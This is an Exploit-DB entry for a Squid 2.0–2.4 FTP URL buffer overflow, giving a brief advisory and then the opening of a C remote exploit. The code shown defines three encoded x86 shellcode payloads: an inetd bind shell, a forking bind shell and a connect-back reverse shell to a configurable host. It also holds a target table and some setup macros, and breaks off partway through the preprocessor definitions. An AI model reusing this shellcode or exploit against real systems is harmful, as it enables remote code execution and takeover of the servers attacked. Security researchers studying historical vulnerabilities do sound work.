Exploit-DB #21297
Description: Squid 2.0-4 - Cache FTP Proxy URL Buffer Overflow
Type: remote
Platform: unix
Date: 2002-02-21
Author: gunzip

Exploit:
// source: https://www.securityfocus.com/bid/4148/info

A buffer overflow exists in the Squid proxy server's FTP URL handling.

If a user has the ability to use the Squid process to proxy FTP requests, it may be possible for the user make a malicious request. By sending a custom-crafted ftp:// URL through the squid proxy, it is possible to crash the server, requiring manual restart to resume normal operation.

This problem could also be exploited to allow the execution of code with the privileges of the Squid process, typically 'nobody'. 

/**
 ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD**OLD* *OLD*
 **
 ** linux/x86 2.0 <= squid <= 2.4.DEVEL4 remote exploit (c) gunzip
 **
 ** to compile type 'make squidx'
 **
 ** Version 2.4STABLE(*) are vulnerable too but you have to play with
 ** USERLEN, NOPNUM, PASSLEN values to get exploit works (because of the
 ** different memory layout). Read below how to write new targets.
 **
 ** This is however a rare exploitable bug because
 **
 ** - Squid dies every time you overflow it and you have to wait > 10 sec
 ** - You can't bruteforce too much or squid will rest in peace forever
 ** - You MUST have the rights (acl) to use ftp proxying (not in default conf)
 ** - Address differs alot (return addresses) from distro to distro
 ** - Victim host must have an ftp server running to connect to
 ** - Yes, you can change the host who runs ftp server but in this way
 **   you mess up the align so the exploit won't work (have to fix this)
 **
 ** I'll put new versions if I've time on
 ** http://members.xoom.it/gunzip/
 **
 ** comments to gunzip@ircnet - mAilto: <techieone@softhome.net>
 **
 ** TODO: check align against host field, make real targets
 **
 ** Version 0.4
 **
 ** kisses to tankie
 ** greets: arcangelo, jestah, sorbo, and daphiel for testing
 **
 ** *OLD* *OLD* *OLD* *OLD**OLD* *OLD**OLD* *OLD* *OLD* *OLD* *OLD* *OLD*
**/
/**
 **  Here are the young men, well where have they been ?
 **/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <getopt.h>

char inetd_shellcode[] =
        /*
         * binds an inetd shell on port 5002 (lsd-pl.net + s-poly by zillion)
        */
        "\x4b\xeb\x11\x5e\x31\xc9\xb1\x81\x80\x6c\x0e\xff\xd4\x80\xe9"
        "\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xbf\xf6\x2d\x05\x94"
        "\x24\x3c\x03\x03\x47\x3c\x3c\x03\x36\x3d\x42\x5d\xb7\x24\x3a"
        "\x3c\x01\x37\x5d\xbb\x24\x25\x2b\x27\x5d\xb5\x6d\x84\xdf\xa1"
        "\x54\xbc\xad\xd3\xd3\xd3\x39\x37\x3c\x43\xf4\x46\x3a\x39\xf4"
        "\x47\x48\x46\x39\x35\x41\xf4\x48\x37\x44\xf4\x42\x43\x4b\x35"
        "\x3d\x48\xf4\x46\x43\x43\x48\xf4\x03\x36\x3d\x42\x03\x47\x3c"
        "\xf4\x47\x3c\xf4\x01\x3d\x12\x03\x48\x41\x44\x03\x02\x4c\xf4"
        "\x0f\x03\x49\x47\x46\x03\x47\x36\x3d\x42\x03\x3d\x42\x39\x48"
        "\x38\xf4\x03\x48\x41\x44\x03\x02\x4c\x0f\x39\x37\x3c\x43\xf4"
        "\x4d\x39\x35\x3c";

char forking_bind[] =
        /*
         * by eSDee - www.netric.org, encoded with s-poly by zillion
        */
        "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49"
        "\x41\x49\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0"
        "\x06\x9e\x26\x86\xdb\x26\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88"
        "\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95\x06\xb0\x25\x25\x25\x3b"
        "\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28\x88\xd7\x27"
        "\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
        "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b"
        "\xa2\x55\x5e\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85"
        "\x05\xa2\x55\x06\x95\x06\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85"
        "\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0\x85\xd7\xa2\x55\x0e\x98"
        "\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95\x06\x9e\x5e"
        "\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
        "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37"
        "\x3e\x43\x5e\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2"
        "\x55\x06\x95\x15\xa2\x55\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0"
        "\x6e";

#define IP              "\x7f\x01\x01\x01"      /* 127.1.1.1 */
#define DPORT           "\x99\x99"              /* 39321 */

char connectback_shellcode[] =
        /*
         * by gloomy - www.netric.org
        */
        "\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x75\x54"
        "\x50\x40\x50\x40\x50\x89\xe1\x43\xb0\x66\xcd\x80"
        "\x4b\x53\x53\x68" IP "\x66\x68"  DPORT "\xb3\x02"
        "\x66\x53\x89\xe2\xb3\x10\x53\x52\x50\x89\xe1\xb3"
        "\x03\xb0\x66\xcd\x80\x31\xc9\x39\xc1\x75\x23\xb1"
        "\x02\xb0\x3f\xcd\x80\x49\x75\xf9\xb0\x3f\xcd\x80"
        "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
        "\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0"
        "\x40\xcd\x80";

#define CONNECT_BACK    0x1
#define CONNECT_TO      0x10

#define IP_OFFSET       28
#define PORT_OFFSET     34

struct hits
{
        char            * desc  ;
        char            * code  ;
        unsigned short  flag    ;
        unsigned short  port    ;
} ht[]=
{
        { "forking bind shellcode (45295)", forking_bind,
                CONNECT_TO, 45295 },
        { "binds a shell via inetd (5002)", inetd_shellcode,
                CONNECT_TO, 5002 },
        { "connects back on supplied host (39321)", connectback_shellcode,
                CONNECT_BACK, 39321 },
        { NULL, 0, 0 }
};

#define TIMEOUT         0x5

#ifndef INADDR_NONE
#define INADDR_NONE     0xffffffff
#endif

#ifndef INADDR_ANY
#define INADDR_ANY      0x00000000
#endif

#ifdef DEBUG
#define debug(x...) printf(x)
#else
#define debug(x...)
#